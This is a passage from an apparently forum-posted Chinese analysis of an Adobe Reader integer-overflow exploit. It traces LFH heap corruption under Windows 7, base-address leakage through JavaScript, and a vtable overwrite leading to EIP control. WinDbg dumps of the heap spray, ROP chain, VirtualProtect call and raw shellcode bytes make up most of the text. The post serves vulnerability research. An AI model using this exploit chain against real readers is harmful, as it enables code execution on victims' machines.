092d9988 58 58 58 58 78 56 34 12-c5 00 00 00 4f 4f 4f 4f XXXXxV4.....OOOO
092d9ac0 58 58 58 58 78 56 34 12-c6 00 00 00 4f 4f 4f 4f XXXXxV4.....OOOO
092d9bf8 58 58 58 58 78 56 34 12-c7 00 00 00 4f 4f 4f 4f XXXXxV4.....OOOO
如上所示:最初申请0x12c大小的堆块是在092d9bf8+0x130处,删除此堆块误将092d9bf8删除,紧接着此堆块又被创建,删除时又误将092d9ac0删除。以此类推,最终将092d9988删除。
整个过程是意外操作,JS并不知晓自己的字符串堆被删除后又创建,内容又被修改。所以该堆在js中的指引仍然存在。
进而可以通过js的字符串操作来读取处虚表67F5D88C的地址。由于其在AcroRd32_67510000模块的偏移是固定的,所以可以推算出AcroRd32的基址。 acro = (( util.unpackAt(spray.x[i], 14) >> 16) - util.offset("acrord32")) << 16;
复制代码0x67F5-0xa4= 0x6751
正好是基址。
2,控制EIP达到利用目的。
这块调试的地方很少了,主要是理解JS喷射代码。
首先是将092d9988对应的堆块释放了。然后喷射上我们控制的数据,这个操作对于acrobat来说,完全不知晓: for (j=0; j<100000; j++)
spray.x[found-1]=spray.x[found]=null;
复制代码喷射的数据如下所示:
0:003> dd 092d9988
092d9988 41414141 41414141 41414141 41414141
092d9998 41414141 41414141 41414141 10101000 //注意此处,0x1c处的虚表指针67F5D88C被修改为0x10101000
092d99a8 58585858 58585858 58585858 58585858
092d99b8 58585858 58585858 58585858 58585858
092d99c8 58585858 58585858 58585858 58585858
092d99d8 58585858 58585858 58585858 58585858
092d99e8 58585858 58585858 58585858 58585858
092d99f8 58585858 58585858 58585858 58585858
0:003> dd 10101000
10101000 ???????? ???????? ???????? ????????
10101010 ???????? ???????? ???????? ????????
同时做堆喷使得0x10101000上有我们的喷射数据:包含ROP,shellcode,以及一些特定的控制数据。
10101000 67752491 41414141 41414141 41414141 41414141 41414141 41414141 41414141
10101020 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
10101040 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
10101060 41414141 41414141 41414141 41414141 6752e63d 6751100a 6789ef5c 1010114c
10101080 1010113c 43434343 67511186 10101070 101010a8 101010a8 00001000 00000040
101010a0 101010a4 00000000 0000b1e9 90909000 67510000 cccccccc cccccccc cccccccc
101010c0 cccccccc cccccccc cccccccc cccccccc cccccccc cccccccc cccccccc cccccccc
101010e0 67510000 48484848 49494949 49494949 49494949 50505050 46464646 46464646
10101100 46464646 46464646 46464646 46464646 46464646 46464646 46464646 46464646
10101120 46464646 46464646 46464646 46464646 46464646 46464646 cccccccc 74726956
10101140 506c6175 65746f72 00007463 0045004b 004e0052 004c0045 00320033 ebd90000
10101160 2474d99b b2d231f4 64c93177 8b30718b 768b0c76 08468b1c 8b207e8b 184f3836
10101180 0159f375 60e1ffd1 24246c8b 8b3c458b 01782854 184a8bea 01205a8b 4934e3eb
101011a0 018b348b 31ff31ee 84acfcc0 c10774c0 c7010dcf 7c3bf4eb e1752824 01245a8b
101011c0 0c8b66eb 1c5a8b4b 048beb01 89e8018b 611c2444 2908b2c3 89e589d4 4e8e68c2
101011e0 e852ec0e ffffff9f bb044589 73e2d87e 52241c87 ffff8ee8 084589ff 206c6c68
10101200 32336841 7568642e 88726573 890a245c 55ff56e6 50c28904 4da2a8bb 241c87bc
10101220 ff61e852 6f68ffff 68205878 42656761 73654d68 88db3173 890a245c 205868e3
10101240 4d682020 68214653 206d6f72 202c6f68 65486866 c9316c6c 10244c88 d231e189
设置切换栈帧的断点:
bp 6752e63d ///XCHG EAX,ESP;ret
Breakpoint 2 hit
eax=10101000 ebx=00000000 ecx=092d99a4 edx=0000002f esi=08f749d4 edi=00000008
eip=6752e63d esp=0027d02c ebp=0027d074 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
AcroRd32_67510000!AVAcroALM_Destroy+0xff6f:
6752e63d 94 xchg eax,esp
0:000> dds esp
0027d02c 679bace9 AcroRd32_67510000!PDFLTerm+0x92a69
0027d030 00000000 .text:679BACD9 loc_679BACD9: ; CODE XREF: sub_679BACC6+2Fj
.text:679BACD9 mov ecx, [esi+8]
.text:679BACDC test ecx, ecx
.text:679BACDE jz short loc_679BACE9
.text:679BACE0 push [esp+8+arg_0]
.text:679BACE4 mov eax, [ecx]
.text:679BACE6 call dword ptr [eax+70h]
复制代码3,shellcode的执行:
首先是调用GetModuleHandleW获取kernerl32模块的句柄
6751100a ff254856e867 jmp dword ptr [AcroRd32_67510000!CTJPEGDecoderCreateUsingData+0x1c9968 (67e85648)] ds:0023:67e85648={kernel32!GetModuleHandleWStub (7766374d)}
0:000>dds esp L2
10101078 6789ef5c AcroRd32_67510000!CTJPEGRotateOptions:perator=+0x16f2ac
1010107c 1010114c
0:000> dc 1010114c
1010114c 0045004b 004e0052 004c0045 00320033 K.E.R.N.E.L.3.2.
调用GetProcAddress获取VirtualProtect函数的地址
6789ef5c push eax
6789ef5d ff154456e867 call dword ptr [AcroRd32_67510000!CTJPEGDecoderCreateUsingData+0x1c9964 (67e85644)] ds:0023:67e85644={kernel32!GetProcAddressStub (776633d3)}
0:000> dds esp L2
1010107c 77610000 kernel32!_imp__DebugBreak <ERF> (kernel32+0x0)
10101080 1010113c
0:000> dc 1010113c
1010113c 74726956 506c6175 65746f72 00007463 VirtualProtect..
最后执行VirtualProtect函数
67511186 ffe0 jmp eax {kernel32!VirtualProtectStub (77652341)}
67511188 c3 ret
0:000> dds esp
10101090 101010a8 //返回地址
10101094 101010a8 // 目标地址起始位置
10101098 00001000 // 大小
1010109c 00000040 // 请求的保护方式
101010a0 101010a4 // 保存老的保护方式
101010a4 00000000
101010a8 0000b1e9
101010ac 90909000
101010b0 67510000 AcroRd32_67510000
该地址的反汇编内容
0:000> u 101010a8
101010a8 e9b1000000 jmp 1010115e
101010ad 90 nop
101010ae 90 nop
101010af 90 nop
101010b0 0000 add byte ptr [eax],al
101010b2 51 push ecx
101010b3 67cc int 3
101010b5 cc int 3
0:000> u 1010115e
1010115e d9eb fldpi
10101160 9b wait
10101161 d97424f4 fnstenv [esp-0Ch]
10101165 31d2 xor edx,edx
10101167 b277 mov dl,77h
10101169 31c9 xor ecx,ecx
1010116b 648b7130 mov esi,dword ptr fs:[ecx+30h]
1010116f 8b760c mov esi,dword ptr [esi+0Ch]
这个就是真正的功能shellcode了。由于是在受限的sandbox进程里面,所以所能做的事情有限。POC的实例为弹出messagebox
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
0x03,漏洞成因的理论分析:
如果你详细看过K_K大牛和我的分析文章,你就会发现整个触发过程的差别分析时很大的。现在我们必须明确三点:
第一,漏洞最初能到达的效果是什么?漏洞本质上来说是个整形溢出,副作用是能够向特定的内存堆区域写入指定长度的指定数据。这里长度和数据内容都是完全可控的。
内存区域的写入位置和开始申请对内存的位置之间的偏移也是完全可控的。
第二,漏洞为何在XP和Win7下效果不同?在实例中,漏洞的效果就是将堆块头部的8字节写入我们的数据。在XP中就是普通的堆,在头部写入错误数据后,堆块删除时就会报错。给我们的效果就是异常。而在Win7中,申请的堆块为LFH堆,该堆特定的机制使得其头部被我们修改后,一旦删除,就会错误的将临近的上一个堆块删掉。一会我们将详细讲这其中的机理。
第三,为何删除的内存数据,在JS中引用已然有效,并且造成基址泄露?这个跟二中Win7下特定的现象有关系,由于是误删,虽然JS和程序流程都是相互独立的,但是操作
的确实同一片数据,直接造成被程序流程修改的数据在JS中已然可以读到。
下面我们需要搞清楚LEH堆块的结构和机制。这才是最根本的。
在头部没被修改时:
0:000> db 092d9bf0
092d9bf0 65 04 2a 7f 4f 00 00 8c-00 00 00 00 00 00 00 00 e.*.O...........
092d9c00 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
092d9c10 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
092d9c20 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
092d9c30 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
092d9c40 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
092d9c50 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
092d9c60 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
修改之后:
0:000> db 092d9bf0
092d9bf0 01 00 00 00 00 00 27 05-00 00 00 00 00 00 00 00 ......'.........
092d9c00 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
092d9c10 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
092d9c20 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
092d9c30 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
092d9c40 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
092d9c50 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
092d9c60 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
如上所示,释放堆块时,RtlpLowFragHeapFree会检测堆块的头部字段,当发现FLAGS == 0X05(也就是最开始的0x8c的位置)时,会按照index的索引找堆块位置。
index就是flags的前一个字节:
P’ = P -(index * 8)
其中P表示当前堆块的地址,P’表示要删除的堆块地址。此例中index= 0x27
P’= P - 0x27*0x08 = P - 0x138
由于我们分配的堆块大小为0x138,刚好是当前堆块的前一个堆块。
由于找到的资料有限,并且时间有限,没有进一步详细跟踪RtlpLowFragHeapFree的实现过程。有兴趣的可以参考
http://support.microsoft.com/kb/929136
http://www.nirsoft.net/kernel_struct/vista/LFH_HEAP.html
https://www.lateralsecurity.com/downloads/
https://www.lateralsecurity.com/ ... ruxcon-nov-2008.pdf
进一步分析,共享出您的成果。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课